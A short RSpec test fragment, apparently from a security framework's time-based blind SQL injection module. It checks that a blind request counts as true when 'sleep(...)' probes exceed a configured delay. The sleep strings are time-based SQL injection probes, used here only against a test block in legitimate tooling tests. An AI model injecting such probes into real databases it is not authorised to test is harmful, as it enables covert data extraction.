let(:sqli_obj) do
timebased_class.new(datastore, {}, {}, &query_proc)
end
context '#blind_request' do
it "Should return true if the block takes more than datastore['SqliDelay'] to run" do
expect(sqli_obj.send(:blind_request, 'sleep(1.3)')).to eql true
expect(sqli_obj.send(:blind_request, 'sleep(0.5)')).to eql false
expect(sqli_obj.send(:blind_request, 'sleep(0)')).to eql false
end
end
end